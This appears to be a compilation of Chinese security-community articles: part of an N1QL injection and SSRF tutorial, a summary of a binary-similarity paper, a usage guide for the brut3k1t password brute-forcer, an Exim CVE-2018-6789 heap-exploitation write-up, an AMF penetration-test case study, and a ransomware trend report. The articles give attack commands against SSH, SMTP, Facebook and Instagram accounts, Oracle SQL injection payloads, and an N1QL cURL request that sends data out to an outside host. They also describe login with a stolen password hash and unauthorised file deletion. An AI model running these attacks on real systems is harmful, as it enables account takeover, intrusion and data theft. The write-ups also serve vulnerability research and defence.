$ ./n1qlMap.py http://localhost:3000 --request example_request_1.txt --keyword beer-sample --query 'SELECT * FROM `travel-sample` AS T ORDER by META(T).id LIMIT 1'
目前该工具还处于完善期，可以加入我们的项目一起贡献。
### 5.1. SSRF利用
那么我们之前提到的SSRF呢？Couchbase数据库支持实现 “客户端URL” (CURL) 功能子集的 “cURL”
函数。通过N1QL，我们可以通过在`ENCODE_JSON`函数内嵌套子查询来完成SSRF。不过默认情况下“cURL”函数功能受到限制。不过在靶场中启用了该功能以作演示，该功能用于对指定URL发起HTTP请求。
以下N1QLMap命令通过`--curl`参数将目标数据请求发送到 Burp Collaborator：
$ ./n1qlMap.py http://localhost:3000 --request example_request_1.txt --keyword beer-sample --curl '*************j3mrt7xy3pre.burpcollaborator.net/endpoint' "
{'request':'POST','data':'data','header':['User-Agent: Agent Smith']}"
收到的HTTP请求显示如下：
POST /endpoint HTTP/1.1
Host: *************j3mrt7xy3pre.burpcollaborator.net
User-Agent: Agent Smith
Accept: */*
X-N1QL-User-Agent: couchbase/n1ql/2.0.0-N1QL
Content-Length: 4
Content-Type: application/x-www-form-urlencoded
...data...data...
如上面的代码片段所示，可将任意有效数据以OOB的方式发送到对应目标。“CURL”功能还允许我们指定其他选项，例如
1. HTTP标头
2. 不同的请求方法
3. 忽略证书验证
在授权项目中，可以使用此SSRF绕过IP限制，或从云环境中可用的元数据端点中提取敏感数据和身份凭据。
## 6\. 引用
[N1QL Language Reference](https://docs.couchbase.com/server/6.0/n1ql/n1ql-language-reference)
[Article “Couchbase and N1QL Security” on Couchbase
blog](https://blog.couchbase.com/couchbase-and-n1ql-security-centeredgesoftware/)
[N1QL Querying System
Information](https://docs.couchbase.com/server/6.0/n1ql/n1ql-intro/sysinfo.html)
[N1QL CheatSheet (pdf)](http://docs.couchbase.com/files/Couchbase-N1QL-CheatSheet.pdf)
[N1QL Interactive Tutorial](https://query-tutorial.couchbase.com/tutorial)
[Couchbase REST API Documentation](https://docs.couchbase.com/server/6.0/rest-api) | 社区文章 |
**作者：腾讯科恩实验室
公众号：<https://mp.weixin.qq.com/s/mTynxUBNBeiYcAhx4PNJrA>**
腾讯安全科恩实验室《Order Matters: Semantic-Aware Neural Networks for Binary Code
Similarity
Detection》论文入选人工智能领域顶级学术会议AAAI-20。研究核心是利用AI算法解决大规模二进制程序函数相似性分析的问题，本文将深入对该论文进行解读，点击链接获取完整论文。<https://keenlab.tencent.com/en/whitepapers/Ordermatters.pdf>
二进制函数相似性比对演示效果：
## 引言 & 背景
二进制代码分析是信息安全领域中非常重要的研究领域之一，其中一类目标是在不访问源代码的情况下检测相似的二进制函数。同一份源代码在不同编译器，不同平台，不同优化选项的条件下所得到的二进制代码是不相同的，我们的任务目标是把同一份源代码所编译出的不同的二进制代码找到。传统算法使用图匹配算法解决此问题，但图匹配算法的速度较慢，且准确率较低。随着近年来深度学习算法的发展，学者们尝试在控制流图（CFG）上使用图神经网络算法，取得了不错的效果。
图1. 控制流图（CFG）以及表示成低维向量的block特征
论文[1]提出了名为Gemini的基于图神经网络的算法，它的输入是两个二进制函数的pair，输出是这两个二进制函数的相似度得分。首先，将二进制函数的控制流图作为输入，并使用人工设计的特征提取方法将每个block表示成低维的向量（如图1所示）；然后使用Structure2vec算法计算graph
embedding；最后使用siamese网络计算相似度得分并使用梯度下降算法降loss训练模型（如图2所示）。与传统方法相比，Gemini的速度和准确率都大幅提升。
图2. siamese网络结构
虽然上述方法取得了很大的进步，但仍有一些重要的问题值得研究。一方面，如图1所示，每一个block被表示成一个低维向量，这个特征提取的过程是人工设计的，在Gemini中block特征只有8维向量，这个压缩的过程会损失很多语义信息。另一方面，在二进制代码中节点的顺序是一个很重要的特征，而之前的模型没有设计特殊的算法提取这一特征。图3是函数"_freading"在不同平台x86-64和ARM上编译出的二进制代码的控制流图。这两个控制流图的节点顺序是非常相似的，例如node1都与node2和node3相连，node2都与node4和node5相连，而这种相似性可以体现在它们的邻接矩阵上。经过观察，我们发现许多控制流图的节点顺序变化是很小的。为了解决以上两个问题，我们设计了一种总体的框架，包含semantic-aware模块、structural-aware模块以及order-aware模块。
图3. 函数"_freading"在不同平台（x86-64和ARM）上编译出的控制流图以及对应的邻接矩阵
## 模型
**整体结构：** 模型的输入为二进制代码的控制流图，模型的整体结构如图4所示，包含semantic-aware 模块、structural-aware模块、order-aware模块。在semantic-aware模块，模型将控制流图作为输入，使用BERT[2]对token
embedding作预训练，得到block embedding。在structural-aware模块，使用MPNN算法[3]得到graph
semantic & structural embedding。在order-aware模块，模型将控制流图的邻接矩阵作为输入，并使用CNN计算graph
order embedding。最后对两个向量使用concat和MLP得到最终的graph embedding，如公式1所示。
图4. 模型整体结构
**Semantic-aware** **模块：** 在semantic-aware模块，可以使用BERT、word2vec等常用模型提取语义信息。本文中使用BERT对控制流图作预训练，从而获得block的语义信息。BERT原用于NLP领域中，对词语与句子作预训练。我们的任务与NLP任务相似，控制流图的block可以看作句子，block中的token可以看作词语。如图5所示，训练过程中BERT有4个任务：Masked
language model（MLM）、Adjacency node prediction（ANP）、Block inside
graph（BIG）和Graph classification（GC）。
图5. 语义信息提取BERT模型
其中MLM和ANP是和BERT的原论文中相似的两个任务。MLM是一个token-level的任务，对block中的token进行mask操作并进行预测，和语言模型的方式相同。ANP任务是一个block-level的任务，虽然控制流图没有NLP领域中的语言顺序，但控制流图是一个有向图，也有节点的拓扑顺序，我们将控制流图中的所有相邻节点提取出来，当作相邻的“句子”。这些相邻的block
pair作为ANP任务的正例，并随机选择同图内不相邻的block pair作为负例。
为了获得更多的graph-level的信息，我们加入了两个辅助的graph-level任务BIG和GC。BIG和ANP的方式类似，区别是pair的正负例选择方式不同。BIG任务的目的是让模型判断两个block是否在同一个图中，希望模型可以尽可能地学到此信息，从而对我们的graph-level task有帮助。因此，在BIG任务中同图的block pair为正例，不同图的block pair为负例。GC为graph-level的block分类任务，在我们的场景中，在不同平台、不同编译器、不同优化选项的条件下，得到的block信息有所不同，我们希望模型可以让block
embedding中包含这种信息。GC对block进行分类，判断block属于哪个平台，哪个编译器，以及哪个优化选项。
**Structural-aware** **模块：** 经过BERT预训练后，使用MPNN计算控制流图的graph semantic &
structural embedding。MPNN有三个步骤：message function（M），update function（U）以及readout
function（R）。具体步骤如公式2-公式4所示。
其中G代表整个图，v代表节点，N(v)代表v的邻居节点。在本文的场景中，节点即是控制流图中的block，图即是经过预训练后表示成block向量的控制流图。本文在message步骤使用MLP，update步骤使用GRU，readout步骤使用sum，如公式5-公式7所示。
**Order-aware** **模块：**
本模块希望可以提取节点顺序的信息，本文中使用的是CNN模型。为什么使用CNN模型呢？首先考虑图6中的三个图（节点中无语义信息），以及它们的邻接矩阵。这三个图非常相似，每个图中都有一个三角形特征（图a的节点123，图b的节点234，图c的节点134），这个特征体现在它们的邻接矩阵中。首先对比图a和图b，与图a相比，图b加入了节点1，节点顺序依次后移一位，但三角形特征中三个节点的顺序还是连续的，这个特征在邻接矩阵中可以看到，这个1-1-0-1的2*2矩阵仍然存在。CNN在训练集中看过很多这种样例后，可以学习到这种平移不变性。再看图c，加入了节点2，打破了原有三角形的节点顺序，但在邻接矩阵中我们可以看到它实际上是把原来的2*2矩阵放大成了3*3矩阵，当我们移除第二行和第二列时，仍然可以得到一个1-1-0-1的2*2矩阵。这与图像中的image
scaling类似，CNN在训练集中包含足够多样例的情况下，也是可以学到这种伸缩不变性的。
图6. 三个图以及对应邻接矩阵
本文中使用的模型是11层的Resnet结构[4]，包含3个residual block，所有的feature map大小均为3*3。之后用一个global
max pooling层，得到graph order embedding。在此之前不用pooling层，因为输入的图的大小不同。具体如公式8所示。
## 实验
本文在两个任务上进行实验。任务1为跨平台二进制代码分析，同一份源代码在不同的平台上进行编译，我们的目标是使模型对同一份源代码在不同平台上编译的两个控制流图pair的相似度得分高于不同源代码pair的相似度得分。任务2为二进制代码分类，判断控制流图属于哪个优化选项。各数据集的情况如表1所示。任务1是排序问题，因此使用MRR10和Rank1作为评价指标。任务2是分类问题，因此使用准确率作为评价指标。
表1. 数据集情况
表2和表3分别对应任务1和任务2的实验结果。表中第一个分块是整体模型，包括graph
kernel，Gemini以及MPNN模型。第二个分块是semantic-aware模块的对比实验，分别使用了word2vec[5]，skip
thought[6]，以及BERT，其中BERT2是指原始BERT论文中的两个task（即MLM和ANP），BERT4是指在此基础上加入两个graph-level task（BIG和GC）。第三个分块是对order-aware模块的对比实验，基础CNN模型使用3层CNN以及7、11层的Resnet，CNN_random是对训练集中控制流图的节点顺序随机打乱再进行训练，MPNN_ws是去除控制流图节点中的语义信息（所有block向量设为相同的值）再用MPNN训练。最后是本文的最终模型，即BERT+MPNN+Resnet。
表2、3：各模型在任务1和任务2上的结果
整体结果：本文提出的模型与Gemini模型相比，在任务1和任务2上的评价指标分数均大幅提升。semantic-aware模块使用NLP模型（word2vec，BERT等）均优于使用人工提取的特征。只使用order-aware时模型也取得了不错的效果。与其它所有模型相比，本文提出的模型均取得了更优的效果。
Semantic-aware：只看表中第二个分块，BERT的结果优于word2vec和skip
thought，因为BERT能在预训练过程中提取更多的信息。加上BIG和GC任务后的BERT4效果略微提升，说明在预训练过程中加入graph-level的任务有所帮助。图7中是4个控制流图的block（左上，左下，右上，右下），我们使用K-means对预训练后的block
embedding进行分类（K-means的类别数定为4），不同的类别颜色不同。从图7中可以看出，同一个控制流图中的block颜色大体相同，不同的控制流图的block的主颜色大体不同。
图7. 4个控制流图的block embedding
Order-aware：观察表中第三个分块，CNN模型在两个任务上都取得了不错的效果。Resnet11优于Resnet7和CNN3。与MPNN_ws相比，CNN效果更优。随机打乱节点顺序后，CNN模型效果大幅下降，这表示CNN模型确实可以学到节点顺序信息。图8是控制流图pair的例子，这个函数为“ZN12libfwbuilder15RuleElementRGtw13validateC-hildEPNS8FWObjectE“，左边是在gcc&x86-86上编译的控制流图，右边是在gcc&ARM上编译的控制流图。可以看到，左图的节点3在右图中被拆成节点3和节点4，除此之外其它节点的顺序与边的连接方式均相同。经过CNN模型的计算，这两个图的cosine相似度为0.971，排序rank的排名为1。这表明CNN模型可以从邻接矩阵中学到控制流图的节点顺序。
****
图8. 控制流图pair示例
## 结论
本文提出了一个新的模型，用于解决二进制代码分析的问题。本文的模型中包含semantic-aware模块，structural-aware模块以及order-aware模块。我们观察到语义信息和节点顺序信息都是控制流图重要的特征。我们使用BERT预训练模型提取语义信息，并使用CNN模型提取节点顺序信息。实验结果表明，本文提出的模型与之前最优的模型相比，取得了更好的效果。
## 参考文献
[1] Xu, X.; Liu, C.; Feng, Q.; Yin, H.; Song, L.; and Song, D. 2017. Neural
network-based graph embedding for crossplatform binary code similarity
detection. In Proceedings of the 2017 ACM SIGSAC Conference on Computer and
Communications Security, 363–376. ACM.
[2] Devlin, J.; Chang, M.-W.; Lee, K.; and Toutanova, K. 2018. Bert: Pre-training of deep bidirectional transformers for language understanding. arXiv
preprint arXiv:1810.04805 .
[3] Gilmer, J.; Schoenholz, S. S.; Riley, P. F.; Vinyals, O.; and Dahl, G. E.
2017. Neural message passing for quantum chemistry. In Proceedings of the 34th
International Conference on Machine Learning-Volume 70 , 1263–1272. JMLR. org.
[4] He, K.; Zhang, X.; Ren, S.; and Sun, J. 2016. Deep residual learning for
image recognition. In Proceedings of the IEEE conference on computer vision
and pattern recognition, 770–778.
[5] Mikolov, T.; Sutskever, I.; Chen, K.; Corrado, G. S.; and Dean, J. 2013.
Distributed representations of words and phrases and their compositionality.
In Advances in neural information processing systems , 3111–3119.
[6] R.; Zhu, Y.; Salakhutdinov, R. R.; Zemel, R.; Urtasun, R.; Torralba, A.;
and Fidler, S. 2015. Skip-thought vectors. In Advances in neural information
processing systems,3294–3302.
* * * | 社区文章 |
项目地址：https://github.com/ex0dus-0x/brut3k1t
### 1\. Introduction
**brut3k1t** 是一款服务端的暴力破解模块，支持多种协议的字典攻击。目前完整支持的协议有：
ssh
ftp
smtp
XMPP
instagram
facebook
将来会针对不同协议和服务实现对应的爆破模块（包括 Twitter, Facebook, Instagram）。
### 2\. 安装
安装过程很简单。 **brut3k1t** 需要解决一些依赖，如果你没有的话，程序会安装对应依赖。
* **argparse** \- 用于解析命令行参数
* **paramiko** \- 用于 SSH 连接和认证
* **ftplib** \- 用于 FTP 连接和认证
* **smtplib** \- 用于 SMTP （email）连接和认证
* **fbchat** \- 用于连接 Facebook
* **selenium** \- 用于 web 抓取，用于 Instagram （之后会用于 Twitter）
* **xmppy** \- 用于 XMPP 连接 ...以及将来会使用更多!
下载很简单。使用 `git clone`。
git clone https://github.com/ex0dus-0x/brut3k1t
切换路径：
cd /path/to/brut3k1t
### 3\. 使用
使用 **brut3k1t** 比直接运行 Python 文件稍微复杂一点。
`python brut3k1t -h` 可以显示帮助菜单。
usage: brut3k1t.py [-h] [-s SERVICE] [-u USERNAME] [-w PASSWORD] [-a ADDRESS]
[-p PORT] [-d DELAY]
Server-side bruteforce module written in Python
optional arguments:
-h, --help show this help message and exit
-a ADDRESS, --address ADDRESS
Provide host address for specified service. Required
for certain protocols
-p PORT, --port PORT Provide port for host address for specified service.
If not specified, will be automatically set
-d DELAY, --delay DELAY
Provide the number of seconds the program delays as
each password is tried
required arguments:
-s SERVICE, --service SERVICE
Provide a service being attacked. Several protocols
and services are supported
-u USERNAME, --username USERNAME
Provide a valid username for service/protocol being
executed
-w PASSWORD, --wordlist PASSWORD
Provide a wordlist or directory to a wordlist
### 用法示例
破解 `192.168.1.3` 上运行的 SSH 服务器，使用 `root` 和 `wordlist.txt` 作为字典文件。
python brut3k1t.py -s ssh -a 192.168.1.3 -u root -w wordlist.txt
程序将自动将端口设置为 22，但如果是不同的端口，使用 `-p` 指定。
使用 `wordlist.txt` 字典破解 `25` 端口的 `[email protected]`，3 秒延迟。破解 email 必须指定 SMTP
服务器的地址。例如 Gmail = `smtp.gmail.com`。你可以在 Google 上搜索相关内容。
python brut3k1t.py -s smtp -a smtp.gmail.com -u [email protected] -w wordlist.txt -p 25 -d 3
使用 `wordlist.txt` 字典破解 `5222` 端口的 `[email protected]`。XMPP 与 SMTP 类似，而你需要提供 XMPP
服务器的地址，此例是 `creep.im` 。
python brut3k1t.py -s xmpp -a creep.im -u test -w wordlist.txt
破解 Facebook 颇具挑战性，因为你需要目标用户 ID 而不是用户名。
python brut3k1t.py -s facebook -u 1234567890 -w wordlist.txt
使用用户名 `test` 和字典文件 `wordlist.txt` 破解 `Instagram` 账号，五秒延迟。
### 注意事项
* 如果不提供 `-p` 标志，将使用该服务的默认端口。你不需要为 Facebook 和 Instagram 提供，他们是基于 web 的。
* 如果你不提供 `-d` 标志，默认是 1。
* 记得使用 `-a` 标志指定 SMTP 和 XMPP 服务器的地址。
* Facebook 要求 用户 ID。可能会遇到一些挫折，因为一些人不会把他们的 ID 公开在资料中。
* 确保指定字典文件及其路径。如果在 `/usr/local/wordlists/wordlist.txt` 中，使用 `-w`标志指定。
* 注意一些协议并不是基于默认端口的。FTP 服务器并不一定会在 `21` 端口上运行。请牢记于心。
* 用于教育和友情检测，以及学习代码和安全实践。 **没有脚本小子！**
**更多特性尽请期待**
* * * | 社区文章 |
# 针对Linux邮件传输代理Exim缓冲区溢出漏洞的分析
##### 译文声明
本文是翻译文章，文章原作者 Meh，文章来源：devco.re/blog
原文地址：<https://devco.re/blog/2018/03/06/exim-off-by-one-RCE-exploiting-CVE-2018-6789-en/>
译文仅供参考，具体内容表达以及含义原文为准。
## 概述
在2018年2月5日，我们报告了Exim在Base64解码函数中的溢出漏洞，并获得编号CVE-2018-6789。该漏洞在Exim的第一个版本中就已经存在，因此所有版本全都受到影响。根据我们的研究，该漏洞可以用于获得预授权远程代码执行（Pre-auth Remote Code
Execution），直接导致了40万台以上的服务器都处于危险之中。目前，修复后的4.90.1版本已经发布，我们建议相关用户立即对Exim进行升级。
Exim官网上关于CVE-2018-6789的通告：<https://exim.org/static/doc/security/CVE-2018-6789.txt>
## 影响版本
4.90.1以下的全部Exim版本
## 漏洞分析
该漏洞成因在于Base64解码过程中，存在单字节溢出的问题。该问题是由于b64decode函数中解码缓冲区长度计算错误而导致。完整源代码请参考：<https://github.com/Exim/exim/blob/master/src/src/base64.c#L153>
。相关函数如下：
b64decode(const uschar *code, uschar **ptr)
{
int x, y;
uschar *result = store_get(3*(Ustrlen(code)/4) + 1);
*ptr = result;
// perform decoding
}
如上所示，Exim分配一个3*(len/4)+1字节的缓冲区来存储解码后的Base64数据。如果输入的内容不是有效的Base64字符串，且长度为4n+3时，Exim会分配3n+1字节的缓冲区，但实际上解码过程将会占用3n+2个字节，这就造成了一个字节的堆溢出。
通常情况下，这一问题不会产生影响，因为被覆盖的内存通常都是未使用的。然而，如果字符串达到了某些特定长度，那么该字节就会覆盖一些关键的数据。此外，由于我们可以控制该字节的内容，这就使得漏洞利用更为可行。
由于Base64解码函数是一个基础功能，因此这一漏洞可以轻易触发，从而导致远程代码执行。
## 漏洞利用
为了评估这一漏洞的严重程度，我们开发了一个针对Exim的SMTP守护进程的攻击方式。下面就描述了实现预授权（Pre-auth）远程代码执行的漏洞利用方式。我们需要通过欺骗内存管理机制来实现这一字节溢出漏洞的利用。在阅读本节之前，建议各位读者掌握堆开发的相关知识，参考阅读内容请见本文最后一节。
在漏洞利用过程中，需要用到如下内容：
Debian（Stretch）和Ubuntu（Zesty）；
使用apt-get安装的Exim4软件包中的SMTP守护进程（4.89/4.88）；
在配置中，启用CRAM-MD5身份验证机制（默认启用），或启用使用了Base64的其他任何身份验证机制；
基本的SMTP指令（EHLO、MAIL FROM/RCPT TO）以及AUTH。
### 内存分配
首先，我们对源代码进行回顾，并查找可以利用的内存分配过程。正如我们在前面所提到的，Exim使用自定义函数进行动态分配：
extern BOOL store_extend_3(void *, int, int, const char *, int); /* The */
extern void store_free_3(void *, const char *, int); /* value of the */
extern void *store_get_3(int, const char *, int); /* 2nd arg is */
extern void *store_get_perm_3(int, const char *, int); /* __FILE__ in */
extern void *store_malloc_3(int, const char *, int); /* every call, */
extern void store_release_3(void *, const char *, int); /* so give its */
extern void store_reset_3(void *, const char *, int); /* correct type */
函数store_free()和store_malloc()会直接调用glibc的malloc()和free()。其中，glibc需要使用一个较大的块（0x10字节），并将其元数据存储在每个分配到空间的首个0x10字节中（x86-64），并返回数据的位置。下图展现了块的结构：
元数据包括前一个块的大小（也就是正好在内存中的那一个块）、当前块的大小以及一些标志。其中，前三位（Bit）用于存储标志。在本文的例子中，0x81的大小意味着当前块是0x80字节，并且前一个块正在使用中。
在Exim中，大部分已发布的块都会被放入一个双向链表中，称为未分类容器（Unsorted
Bin）。glibc会根据标志来对其进行维护，并将相邻的已发布块合并成一个更大的块，以避免碎片化。对于每个分配请求，glibc都会以先入先出（FIFO）的顺序来检查这些块，并重新使用它们。
考虑到性能问题，Exim使用了store_get()、store_release()、store_extend()以及store_reset()这四个函数来维护自身的链表结构。
考虑到storeblocks中每个块都至少有0x2000字节，这一点就成为了我们在漏洞利用上的限制。请注意，storeblock同样也是块中的数据。因此，如果我们查看内存，如下图所示：
我们列出用来排列堆数据的函数：
#### EHLO主机名称
针对每个EHLO（或HELO）命令，Exim会将主机名的指针存储在sender_host_name中。store_free()函数负责旧名称，store_malloc()函数负责新名称。
完整源代码参考：<https://github.com/Exim/exim/blob/master/src/src/smtp_in.c#L1833> 。
1839 /* Discard any previous helo name */
1840
1841 if (sender_helo_name != NULL)
1842 {
1843 store_free(sender_helo_name);
1844 sender_helo_name = NULL;
1845 }
...
1884 if (yield) sender_helo_name = string_copy_malloc(start);
1885 return yield;
#### 无法识别的命令
针对每个无法识别的（带有不可打印字符的）命令，Exim都会分配一个缓冲区，将其转换为可打印的命令。store_get()负责存储错误消息。
完整源代码参考：<https://github.com/Exim/exim/blob/master/src/src/smtp_in.c#L5725> 。
5725 done = synprot_error(L_smtp_syntax_error, 500, NULL,
5726 US"unrecognized command");
#### AUTH
在大多数身份验证过程中，Exim在与客户端的通信过程中使用Base64编码。编码和解码的字符串储存在由store_get()分配的缓冲区中。store_get()用于处理字符串，字符串中可包含不可打印的字符以及NULL字节，且不一定使用NULL作为终止符。
#### 在EHLO/HELO、MAIL、RCPT中重置
当命令正确完成时，会调用smtp_reset()。该函数调用store_reset()，将块链重置到重置点，这也就意味着所有被store_get()分配的storeblock，都会在命令完成后被释放。其中，store_reset()在函数的开始处设置，负责重置。
完整源代码参考：<https://github.com/Exim/exim/blob/master/src/src/smtp_in.c#L3771> 。
3771 int
3772 smtp_setup_msg(void)
3773 {
3774 int done = 0;
3775 BOOL toomany = FALSE;
3776 BOOL discarded = FALSE;
3777 BOOL last_was_rej_mail = FALSE;
3778 BOOL last_was_rcpt = FALSE;
3779 void *reset_point = store_get(0);
3780
3781 DEBUG(D_receive) debug_printf("smtp_setup_msg enteredn");
3782
3783 /* Reset for start of new message. We allow one RSET not to be counted as a
3784 nonmail command, for those MTAs that insist on sending it between every
3785 message. Ditto for EHLO/HELO and for STARTTLS, to allow for going in and out of
3786 TLS between messages (an Exim client may do this if it has messages queued up
3787 for the host). Note: we do NOT reset AUTH at this point. */
3788
3789 smtp_reset(reset_point);
### 漏洞利用步骤
为了充分利用这一点，解码后的Base64数据下的块应该易于被释放和控制。经过多次尝试，我们发现sender_host_name是一个比较不错的选择。我们对堆布局进行了调整，为Base64数据保留了一个空闲的块，位于sender_host_name之前。
1. 将一个较大的块放入未分类容器中
首先，我们发送一个带有较长主机名称的EHLO信息，以使其分配及释放，并在未分类容器中保留一个0x6060长度（3个Storeblock长度）的块。
2. 获得第一个Storeblock
然后，我们通过发送一个无法识别的字符串，来触发store_get()，并在释放的块内分配Storeblock。
3. 获得第二个Storeblock并释放第一个Storeblock
我们再次发送EHLO消息，以此获得第二个存储区。由于EHLO完成后会调用smtp_reset，因此第一个块会被依次释放。
当堆布局准备好后，我们可以借助单字节溢出（Off-by-one）来覆盖原始块大小。我们将0x2021修改为0x20f1，这样就能让块稍微扩大一些。
1. 发送Base64数据并触发单字节溢出
如果想要触发单字节溢出，我们就需要使用一个AUTH命令来发送Base64数据。溢出的字节正好可以覆盖下一个块的第一个字节，并能够扩展下一个块。
2. 将块调整为合适大小
由于此时我们已经将块进行了扩展，那么下一个块的起始就变为了原来块的内部。因此，我们需要让它看起来像是一个正常的块，从而通过glibc的检查。在这里，我们需要空字节和不可打印字符来实现伪造块大小的目的，所以我们要发送另一个Base64字符串。
3. 释放扩展块
因为我们还暂时不能直接对块进行编辑，所以首先要释放块，随后才能控制扩展块的内容。也就是说，我们应该发送一个新的EHLO消息来释放掉此前的主机名。然而，一条正常的EHLO消息会调用smtp_reset，这可能导致程序中断或崩溃。为了避免这种情况，我们要发送一个无效的主机名称，比如+。
4. 覆盖重叠Storeblock的下一个指针
在块被释放后，我们可以使用AUTH对其进行检索，并覆盖部分重叠的Storeblock。这里，我们使用一种称为“部分写入（Partial
Write）”的技巧。借助该技巧，我们可以在不破坏地址空间布局随机化（ASLR）的情况下对指针进行修改。我们部分地改变了包含访问控制列表（ACL）字符串的Storeblock的下一个指针。ACL字符串被一组全局指针指向，例如：
uschar *acl_smtp_auth;
uschar *acl_smtp_data;
uschar *acl_smtp_etrn;
uschar *acl_smtp_expn;
uschar *acl_smtp_helo;
uschar *acl_smtp_mail;
uschar *acl_smtp_quit;
uschar *acl_smtp_rcpt;
这些指针在Exim进程开始时会进行初始化，并按照配置进行相应的设置。例如，如果在配置中有一行“acl_smtp_mail =
acl_check_mail”，那么指针acl_smtp_mail会指向字符串acl_check_mail。不管什么时候使用到MAIL
FROM，Exim都会进行一次ACL检查，并首先扩展acl_check_mail。在扩展时，Exim尝试在遇到${run{cmd}}时执行命令。因此，只要我们能够控制ACL字符串，就可以实现代码执行。在这里，我们并不需要直接劫持程序控制流，所以我们可以轻松地绕过诸如位置独立可执行文件（PIE）、NX等缓解措施。
1. 重置Storeblock并检索ACL Storeblock
现在，ACL Storeblock位于链表之中。一旦smtp_reset()被触发，它就会被释放，然后我们可以通过分配多个块来再次对其进行检索。
2. 覆盖ACL字符串并触发ACL检查
最后，我们覆盖包含ACL字符串的整个块。之后就可以发送EHLO、MAIL、RCPT等命令来触发ACL检查。一旦我们能触及配置中定义的ACL，就可以实现远程代码执行。
## 修复方法
升级到4.90.1版本或以上版本
## 时间节点
2018年2月5日 09:10 将漏洞情况报告给Exim
2018年2月6日 23:23 获得CVE编号
2018年2月10日 18:00 厂商发布补丁
## 贡献
本漏洞由DEVHORE研究团队的Meh发现。
## 参考
<https://exim.org/static/doc/security/CVE-2018-6789.txt>
<https://git.exim.org/exim.git/commit/cf3cd306062a08969c41a1cdd32c6855f1abecf1>
<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-6789>
<http://www.openwall.com/lists/oss-security/2018/02/07/2>
## 堆开发的相关资料
<https://heap-exploitation.dhavalkapil.com/>
<https://github.com/shellphish/how2heap>
<https://www.slideshare.net/AngelBoy1/heap-exploitation-51891400> （中文）
<https://www.slideshare.net/AngelBoy1/advanced-heap-exploitaion> （中文）
<https://googleprojectzero.blogspot.tw/2014/08/the-poisoned-nul-byte-2014-edition.html> | 社区文章 |
# 0x00 AMF简介
AMF（Action Message Format）是一种二进制的数据格式，即数据（actionscript里面的Object, Array,
Boolean, Number等）经过了序列化成二进制。
有amf0和amf3，当数据流中有0×11标记时，表示这个数据属于AMF3。
AMF基于HTTP协议，大致处理过程：
获取客户端请求（request） - 服务端反序列化请求 - 处理请求 - 序列化响应（response） - 返回http响应给客户端
AMF的传输效率较高。
AMF相关参考资料：
<https://www.cnblogs.com/yaozhongxiao/archive/2013/04/12/3016302.html>
<https://my.oschina.net/yan5845hao/blog/692474>
<https://www.biaodianfu.com/amf.html>
# 0x01 测试工具
## burpsuite插件
<https://github.com/nccgroup/AMFDSer-ngng>
有些响应解码返回空，报异常，请求都没问题。
相关issue:
<https://github.com/nccgroup/AMFDSer-ngng/issues/2>
反序列化并编码为xml的效果
可以转为xml给sqlmap
给intruder模块
类似的还有
<https://github.com/khai-tran/BurpAMFDser>
都是将AMF反序列化再利用xtream库编码为xml。
## charles
## appscan
安装flash player IE
## blazer
<https://github.com/ikkisoft/blazer>
## firebug
firebug+amfexplorer
firebug+flashbug
//这两种组合未测试。
# 0x02 实战案例
某管理系统
先安装flash player，抓包发现是二进制格式，可以发现是AMF
利用burp插件即可反序列化并编码为xml格式。
撕开遮蔽的外衣，是时候探索无尽的宝藏了。
## 用户名枚举
登录处会发一个请求，执行getuserlistbyname的操作，参数中输入a就把a开头的用户信息返回了。
## 敏感用户信息泄漏
类似用户名枚举，登录处会发一个getuserbyid的请求，参数填一个数字id即可返回该id用户的详细信息，包括加密后的密码。
有些开发可能为了方便前端调用，后端直接执行select * from xxx把用户所有信息都返回前端。
这些信息可以利用[burp-info-extractor](https://github.com/theLSA/burp-info-extractor
"burp-info-extractor")提取，方便进一步渗透。
利用id几乎可以获取系统所有用户大量敏感信息（包括管理员）
尝试利用管理员登录，抓包改密码为获取的加密后的密码
成功登录
## 暴力破解
登录数据包发送到intruder即可
## 错误信息泄漏
去掉jsessionid值触发报错
单引号出发了sql报错，明显可以注入
## SQL注入
poc：
<string>bbb' and 1=(ordsys.ord_dicom.getmappingxpath((select banner from sys.v_$version where rownum=1),user,user))--</string>
poc：
<string>bbb' and 1=(ctxsys.drithsx.sn(1,(select user from dual)))--</string>
## 未授权访问
插件[burp-unauth-checker](https://github.com/theLSA/burp-unauth-checker "burp-unauth-checker")可以方便检测未授权访问漏洞。
去掉jsessionid，未授权即可获取接收人信息。
## 文件删除漏洞
竟然有个delete=false，那改为true会发生什么......
意料之内，成功删除该文件，无法下载了，如果filePath没做安全处理，可能可以删除任意文件。
可以利用[burp-sensitive-param-extractor](https://github.com/theLSA/burp-sensitive-param-extractor "burp-sensitive-param-extractor")方便检测提取各种敏感参数，比如这里的filePath，方便进行测试，避免遗漏。
# 0x03 结语
遇到加密/编码的数据，不要轻易放弃，解出明文后，可能就是无尽的漏洞！ | 社区文章 |
# 聊聊最近几款非常流行的勒索病毒
##### 译文声明
本文是翻译文章，文章原作者 安全分析与研究，文章来源：安全分析与研究
原文地址：<https://mp.weixin.qq.com/s/cukQ0W19pL4B7UQjD7mIfw>
译文仅供参考，具体内容表达以及含义原文为准。
2020年勒索病毒攻击比以往都来的更猛了一点，各种不同的勒索病毒黑客组织都似乎加大了这方面的投入，而且又有一些新的黑客组织加入进来，导致现在勒索病毒攻击越来越频繁了，最近几款流行的勒索病毒都非常活跃，经常有人通过各种渠道向我咨询勒索病毒相关的问题，勒索病毒攻击已经越来越严重了，目前大部分流行的勒索病毒都是无法解密的，勒索病毒以防为主，提高安全意识，虽然外界已经宣传了很多，但仍然有很多企业还是没有引起足够的重视，导致被勒索病毒攻击之后，悔之晚矣，根据COVEWARE公司的报告，2020年Q1季度，企业平均赎金支付增加至111,605美元，比2019年第四季度增长了33％，勒索软件分销商越来越多地将目标对准大型企业，并成功地强制勒索付款以安全恢复数据，大型企业赎金支付在数量上占少数，但支付规模极大地拉高了平均赎金支付，赎金的中位数保持相对稳定，为44,021美元，仅略高于2019年第四季度的中位数41,179美元，中位数的稳定性反映了一个事实，即大多数赎金支付相对于平均值而言是中等的，如下所示：
2020年第一季度，最流行的几款勒索病毒，Sodinokibi占于榜首，如下所示：
勒索病毒主要的攻击传播方式仍然以RDP和钓鱼邮件为主，如下所示：
更多详细的报告，可以参考：
<https://www.coveware.com/blog/q1-2020-ransomware-marketplace-report>
